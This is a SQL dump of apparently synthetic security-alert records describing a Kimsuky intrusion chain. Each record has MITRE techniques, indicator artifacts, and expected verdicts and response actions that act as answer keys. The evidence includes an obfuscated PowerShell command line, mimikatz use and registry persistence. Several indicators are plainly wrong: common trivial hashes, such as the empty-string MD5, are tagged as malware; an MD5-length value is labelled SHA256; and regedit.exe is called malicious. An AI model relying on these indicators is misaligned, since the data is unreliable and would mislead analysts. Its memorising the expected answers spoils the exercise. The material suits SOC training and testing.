Platform\",\"verdict\":\"malicious\",\"details\":\"Known IP used by Kimsuky group\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'expert', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Spear Phishing Attempt with Malicious HWP Attachment\",\"date\":\"2026-03-15T20:58:14.876Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1482, 'Execution of GoldDragon Malware via HWP Exploit', 'critical', 'Endpoint Detection and Response (EDR)', 'The GoldDragon malware was executed on the victim\'s machine through a malicious HWP file containing an embedded exploit. This activity signifies a successful execution phase intended to establish a foothold in the system.', 'Execution', 'T1203 - Exploitation for Client Execution', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:32:45Z\",\"event_id\":\"EDR-5678\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.25\",\"user\":\"jdoe\",\"malware_name\":\"GoldDragon\",\"file_name\":\"malicious_file.hwp\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"execution_path\":\"C:\\\\Users\\\\jdoe\\\\Documents\\\\malicious_file.hwp\",\"process_id\":4321,\"alert_trigger\":{\"type\":\"exploit\",\"description\":\"HWP file exploit triggered GoldDragon execution\"}}', '2026-03-15 19:07:24', '2026-03-15 20:58:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Database\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with APT activity.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal host targeted by malware.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Hash Registry\",\"verdict\":\"malicious\",\"details\":\"Hash corresponds to GoldDragon malware.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"malicious_file.hwp\",\"is_critical\":false,\"osint_result\":{\"source\":\"Endpoint Logs\",\"verdict\":\"suspicious\",\"details\":\"File involved in exploit activity.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'expert', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1483, 'Establishing Persistence with Registry Modifications', 'high', 'Registry Change Monitoring', 'The malware modifies the Windows Registry to ensure it runs on startup, allowing Kimsuky to regain control even after system reboots.', 'Persistence', 'T1547.001: Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:03:23Z\",\"event_id\":4657,\"user\":\"compromisedUser\",\"user_id\":\"S-1-5-21-1234567890-1234567890-1234567890-1001\",\"computer_name\":\"compromised-system\",\"registry_key\":\"HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\",\"registry_value_name\":\"MaliciousStartup\",\"registry_value_data\":\"C:\\\\Users\\\\compromisedUser\\\\AppData\\\\Roaming\\\\malicious.exe\",\"process_name\":\"regedit.exe\",\"external_ip\":\"203.0.113.45\",\"internal_ip\":\"192.168.1.25\",\"md5_hash\":\"d41d8cd98f00b204e9800998ecf8427e\"}', '2026-03-15 19:07:24', '2026-03-15 20:58:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with Kimsuky APT group\"}},{\"id\":\"artifact_2\",\"type\":\"filename\",\"value\":\"regedit.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File identified as a variant of Kimsuky malware\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"MalwareBazaar\",\"verdict\":\"malicious\",\"details\":\"Hash known to be associated with Kimsuky malware\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"compromisedUser\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"internal\",\"details\":\"User account on the compromised system\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'expert', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:14.914Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:03:23Z\\\",\\\"event_id\\\":4657,\\\"user\\\":\\\"compromisedUser\\\",\\\"user_id\\\":\\\"S-1-5-21-1234567890-1234567890-1234567890-1001\\\",\\\"computer_name\\\":\\\"compromised-system\\\",\\\"registry_key\\\":\\\"HKCU\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"registry_value_name\\\":\\\"MaliciousStartup\\\",\\\"registry_value_data\\\":\\\"C:\\\\\\\\Users\\\\\\\\compromisedUser\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\malicious.exe\\\",\\\"process_name\\\":\\\"regedit.exe\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.25\\\",\\\"md5_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:14.914Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:03:23Z\\\",\\\"event_id\\\":4657,\\\"user\\\":\\\"compromisedUser\\\",\\\"user_id\\\":\\\"S-1-5-21-1234567890-1234567890-1234567890-1001\\\",\\\"computer_name\\\":\\\"compromised-system\\\",\\\"registry_key\\\":\\\"HKCU\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"registry_value_name\\\":\\\"MaliciousStartup\\\",\\\"registry_value_data\\\":\\\"C:\\\\\\\\Users\\\\\\\\compromisedUser\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\malicious.exe\\\",\\\"process_name\\\":\\\"regedit.exe\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.25\\\",\\\"md5_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:14.914Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:03:23Z\\\",\\\"event_id\\\":4657,\\\"user\\\":\\\"compromisedUser\\\",\\\"user_id\\\":\\\"S-1-5-21-1234567890-1234567890-1234567890-1001\\\",\\\"computer_name\\\":\\\"compromised-system\\\",\\\"registry_key\\\":\\\"HKCU\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"registry_value_name\\\":\\\"MaliciousStartup\\\",\\\"registry_value_data\\\":\\\"C:\\\\\\\\Users\\\\\\\\compromisedUser\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\malicious.exe\\\",\\\"process_name\\\":\\\"regedit.exe\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.25\\\",\\\"md5_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:14.914Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:03:23Z\\\",\\\"event_id\\\":4657,\\\"user\\\":\\\"compromisedUser\\\",\\\"user_id\\\":\\\"S-1-5-21-1234567890-1234567890-1234567890-1001\\\",\\\"computer_name\\\":\\\"compromised-system\\\",\\\"registry_key\\\":\\\"HKCU\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"registry_value_name\\\":\\\"MaliciousStartup\\\",\\\"registry_value_data\\\":\\\"C:\\\\\\\\Users\\\\\\\\compromisedUser\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\malicious.exe\\\",\\\"process_name\\\":\\\"regedit.exe\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.25\\\",\\\"md5_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:14.914Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:03:23Z\\\",\\\"event_id\\\":4657,\\\"user\\\":\\\"compromisedUser\\\",\\\"user_id\\\":\\\"S-1-5-21-1234567890-1234567890-1234567890-1001\\\",\\\"computer_name\\\":\\\"compromised-system\\\",\\\"registry_key\\\":\\\"HKCU\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"registry_value_name\\\":\\\"MaliciousStartup\\\",\\\"registry_value_data\\\":\\\"C:\\\\\\\\Users\\\\\\\\compromisedUser\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\malicious.exe\\\",\\\"process_name\\\":\\\"regedit.exe\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.25\\\",\\\"md5_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1484, 'Credential Dumping for Lateral Movement', 'high', 'Network Traffic Analysis', 'Detection of suspicious network traffic indicating credential dumping activity by Kimsuky APT group. The attacker utilized a known credential dumping tool to exfiltrate credentials from the compromised host 192.168.1.15, targeting additional systems for lateral movement.', 'Lateral Movement', 'T1003 Credential Dumping', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:23:55Z\",\"source_ip\":\"192.168.1.15\",\"destination_ip\":\"10.0.0.5\",\"attacker_ip\":\"203.0.113.45\",\"username\":\"admin_user\",\"dump_tool\":\"mimikatz.exe\",\"hash\":\"3f7851f1c1b8a8f5f6d9a2d4f5e5e5f6\",\"file_path\":\"C:\\\\Windows\\\\Temp\\\\mimikatz.exe\",\"alert_id\":\"ALERT-20231012-0004\",\"action\":\"credential_dumping_attempt\",\"protocol\":\"SMB\",\"signature\":\"Suspicious Credential Dumping Tool Detected\"}', '2026-03-15 19:07:25', '2026-03-15 20:58:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Compromised internal host\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"Known Kimsuky APT infrastructure\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"mimikatz.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Repository\",\"verdict\":\"malicious\",\"details\":\"Credential dumping tool\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"3f7851f1c1b8a8f5f6d9a2d4f5e5e5f6\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with mimikatz\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'expert', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1485, 'Data Aggregation for Exfiltration', 'high', 'File Access Logs', 'The attackers aggregate sensitive documents and communications, focusing on information pertaining to North Korea, in preparation for data exfiltration.', 'Exfiltration Preparation', 'T1020', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:37:45Z\",\"event_id\":\"4356\",\"source_ip\":\"192.168.1.45\",\"destination_ip\":\"203.0.113.5\",\"username\":\"jdoe\",\"filename\":\"NK_sensitive_docs.zip\",\"file_hash\":\"5d41402abc4b2a76b9719d911017c592\",\"action\":\"read\",\"status\":\"success\"}', '2026-03-15 19:07:25', '2026-03-15 20:58:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address used by the attacker to access sensitive files.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"osint\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP address associated with exfiltration activities.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"NK_sensitive_docs.zip\",\"is_critical\":true,\"osint_result\":{\"source\":\"osint\",\"verdict\":\"suspicious\",\"details\":\"Sensitive file aggregated for exfiltration.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"osint\",\"verdict\":\"suspicious\",\"details\":\"File hash associated with exfiltration attempts.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Compromised user account used for unauthorized access.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'expert', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:14.937Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:37:45Z\\\",\\\"event_id\\\":\\\"4356\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.5\\\",\\\"username\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"NK_sensitive_docs.zip\\\",\\\"file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"action\\\":\\\"read\\\",\\\"status\\\":\\\"success\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:14.937Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:37:45Z\\\",\\\"event_id\\\":\\\"4356\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.5\\\",\\\"username\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"NK_sensitive_docs.zip\\\",\\\"file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"action\\\":\\\"read\\\",\\\"status\\\":\\\"success\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:14.937Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:37:45Z\\\",\\\"event_id\\\":\\\"4356\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.5\\\",\\\"username\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"NK_sensitive_docs.zip\\\",\\\"file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"action\\\":\\\"read\\\",\\\"status\\\":\\\"success\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:14.937Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:37:45Z\\\",\\\"event_id\\\":\\\"4356\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.5\\\",\\\"username\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"NK_sensitive_docs.zip\\\",\\\"file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"action\\\":\\\"read\\\",\\\"status\\\":\\\"success\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:14.937Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:37:45Z\\\",\\\"event_id\\\":\\\"4356\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.5\\\",\\\"username\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"NK_sensitive_docs.zip\\\",\\\"file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"action\\\":\\\"read\\\",\\\"status\\\":\\\"success\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1486, 'Encrypted Data Exfiltration via C2 Channels', 'critical', 'Command and Control Traffic Logs', 'Anomalous encrypted data exfiltration detected via established C2 channels attributed to the Kimsuky group. The data exfiltration was observed from a compromised internal host to a known malicious external IP. The data was encrypted to avoid detection by network monitoring tools.', 'Exfiltration', 'T1041: Exfiltration Over C2 Channel', 1, 'new', NULL, '{\"timestamp\":\"2023-10-03T14:22:17Z\",\"source_ip\":\"192.168.10.15\",\"destination_ip\":\"185.22.57.200\",\"data_transferred\":\"3.5MB\",\"protocol\":\"HTTPS\",\"encryption\":\"AES-256\",\"malware_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"malware_filename\":\"data_exfil_tool.exe\",\"user\":\"jdoe\",\"c2_domain\":\"malicious-c2.example.com\"}', '2026-03-15 19:07:25', '2026-03-15 20:58:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.10.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal IP\",\"verdict\":\"internal\",\"details\":\"Internal host suspected in data exfiltration.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"185.22.57.200\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with Kimsuky C2 infrastructure.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash corresponds to a known data exfiltration tool used by Kimsuky.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"data_exfil_tool.exe\",\"is_critical\":false,\"osint_result\":{\"source\":\"File Analysis\",\"verdict\":\"suspicious\",\"details\":\"Executable used for data exfiltration.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"User Directory\",\"verdict\":\"clean\",\"details\":\"User account involved in the incident.\"}},{\"id\":\"artifact_6\",\"type\":\"domain\",\"value\":\"malicious-c2.example.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Domain Reputation Service\",\"verdict\":\"malicious\",\"details\":\"Domain used for C2 communications by Kimsuky.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'expert', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:14.954Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-03T14:22:17Z\\\",\\\"source_ip\\\":\\\"192.168.10.15\\\",\\\"destination_ip\\\":\\\"185.22.57.200\\\",\\\"data_transferred\\\":\\\"3.5MB\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"encryption\\\":\\\"AES-256\\\",\\\"malware_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"malware_filename\\\":\\\"data_exfil_tool.exe\\\",\\\"user\\\":\\\"jdoe\\\",\\\"c2_domain\\\":\\\"malicious-c2.example.com\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:14.954Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-03T14:22:17Z\\\",\\\"source_ip\\\":\\\"192.168.10.15\\\",\\\"destination_ip\\\":\\\"185.22.57.200\\\",\\\"data_transferred\\\":\\\"3.5MB\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"encryption\\\":\\\"AES-256\\\",\\\"malware_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"malware_filename\\\":\\\"data_exfil_tool.exe\\\",\\\"user\\\":\\\"jdoe\\\",\\\"c2_domain\\\":\\\"malicious-c2.example.com\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:14.954Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-03T14:22:17Z\\\",\\\"source_ip\\\":\\\"192.168.10.15\\\",\\\"destination_ip\\\":\\\"185.22.57.200\\\",\\\"data_transferred\\\":\\\"3.5MB\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"encryption\\\":\\\"AES-256\\\",\\\"malware_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"malware_filename\\\":\\\"data_exfil_tool.exe\\\",\\\"user\\\":\\\"jdoe\\\",\\\"c2_domain\\\":\\\"malicious-c2.example.com\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:14.954Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-03T14:22:17Z\\\",\\\"source_ip\\\":\\\"192.168.10.15\\\",\\\"destination_ip\\\":\\\"185.22.57.200\\\",\\\"data_transferred\\\":\\\"3.5MB\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"encryption\\\":\\\"AES-256\\\",\\\"malware_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"malware_filename\\\":\\\"data_exfil_tool.exe\\\",\\\"user\\\":\\\"jdoe\\\",\\\"c2_domain\\\":\\\"malicious-c2.example.com\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:14.954Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-03T14:22:17Z\\\",\\\"source_ip\\\":\\\"192.168.10.15\\\",\\\"destination_ip\\\":\\\"185.22.57.200\\\",\\\"data_transferred\\\":\\\"3.5MB\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"encryption\\\":\\\"AES-256\\\",\\\"malware_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"malware_filename\\\":\\\"data_exfil_tool.exe\\\",\\\"user\\\":\\\"jdoe\\\",\\\"c2_domain\\\":\\\"malicious-c2.example.com\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1487, 'Suspicious Interview Request', 'medium', 'Email Gateway', 'A phishing email was detected targeting journalists with a fake interview request. The email attempts to entice the recipient into opening a malicious attachment or engaging with a harmful link.', 'Phishing', 'T1566.001 - Spearphishing Attachment', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T08:30:00Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.15\",\"email_subject\":\"Interview Request: Insights on Recent Developments\",\"email_from\":\"editor@globalnews-expert.com\",\"email_to\":\"journalist@company.com\",\"attachment_name\":\"Interview_Questions.docx\",\"attachment_sha256\":\"b1946ac92492d2347c6235b4d2611184\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0\"}', '2026-03-15 19:07:40', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with phishing campaigns related to Kimsuky group.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal workstation IP.\"}},{\"id\":\"artifact_3\",\"type\":\"email\",\"value\":\"editor@globalnews-expert.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Email Reputation Service\",\"verdict\":\"suspicious\",\"details\":\"Domain known for impersonation in phishing attacks.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"b1946ac92492d2347c6235b4d2611184\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"SHA256 hash associated with malware-laden documents.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True 